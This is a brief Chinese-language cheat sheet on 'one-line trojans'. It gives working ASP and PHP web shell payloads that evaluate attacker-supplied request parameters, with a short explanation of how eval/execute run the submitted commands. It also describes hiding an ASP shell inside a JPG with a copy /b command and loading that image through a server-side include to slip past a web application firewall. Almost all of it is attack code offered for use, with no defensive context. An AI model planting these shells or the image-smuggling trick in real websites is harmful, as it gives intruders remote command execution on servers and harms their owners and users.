一句话木马

asp一句话木马

• <%eval request(“pass”)%>
• <%eval(Request.Item[“value”]%>

木马解释

• <%execute(request(“pass”))%>
  request(“pass”)接收客户端提交的数据，pass为执行命令的参数值。
  eval/execute 函数执行客户端命令的内容

php一句话木马

• <?php eval($_POST[kb]);?> php一句话木马

  asp一句话木马

copy /b 1.jpg+1.asp 2.jpg 用cmd命令将木马写入到图片

包含木马，绕过waf
<!--#include file="1.jpg"-->
保存bao.asp 将木马写入图片后变成jpg格式或其他，然后写一个保存的文件使其包含住木马图片